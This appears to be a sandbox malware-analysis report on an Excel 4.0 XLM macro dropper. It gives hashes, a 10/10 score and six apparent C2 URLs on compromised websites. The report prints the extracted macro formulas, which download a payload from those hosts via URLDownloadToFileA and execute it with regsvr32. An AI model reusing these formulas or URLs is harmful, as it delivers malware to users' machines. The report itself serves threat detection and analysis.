c33c80fa99f4e8f89ed01531ca05f05c9376878d9889e725a3e692aa0a1191b2

General

Target

c33c80fa99f4e8f89ed01531ca05f05c9376878d9889e725a3e692aa0a1191b2
Size

45KB
Sample

241120-pggp9sweqf
MD5

6e248bcb1b16e243dc282a8b67af0410
SHA1

7c9284129170b1520825be519e283313469c8e2a
SHA256

c33c80fa99f4e8f89ed01531ca05f05c9376878d9889e725a3e692aa0a1191b2
SHA512

0155ea9f89fc46c22cd2981642d87a474b8ff495d0217ac8fc37a5878d16a178a0d9a38e8cbf4e0b6c97c04e20053de58257026e0fd556bda4a6d50ab4300b49
SSDEEP

768:sUXcCsqi1O3bq9UkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U601+q:lXcC5iybq9RtT5fTR4Lh1NisFYBc3crF

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://narsanatanaokulu.com/wp-includes/WQHhwTuSM5flyMv9/

http://www.beholdpublications.com/home/GCKnZAKB3zz1qnN/

https://ramijabali.com/licenses/44KGV1/

https://winnieswondersaviary.com/wp-content/BNzK17qzh1WQm/

http://vipwatchpay.com/Isoetales/Mvlqx9YifBDaHH6e/

https://rjssjharkhand.com/wp-content/ZddKK1KEaCO6BYbS/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://narsanatanaokulu.com/wp-includes/WQHhwTuSM5flyMv9/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/GCKnZAKB3zz1qnN/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/44KGV1/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/BNzK17qzh1WQm/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipwatchpay.com/Isoetales/Mvlqx9YifBDaHH6e/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rjssjharkhand.com/wp-content/ZddKK1KEaCO6BYbS/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://narsanatanaokulu.com/wp-includes/WQHhwTuSM5flyMv9/

xlm40.dropper

http://www.beholdpublications.com/home/GCKnZAKB3zz1qnN/

xlm40.dropper

https://ramijabali.com/licenses/44KGV1/

xlm40.dropper

https://winnieswondersaviary.com/wp-content/BNzK17qzh1WQm/

xlm40.dropper

http://vipwatchpay.com/Isoetales/Mvlqx9YifBDaHH6e/

xlm40.dropper

https://rjssjharkhand.com/wp-content/ZddKK1KEaCO6BYbS/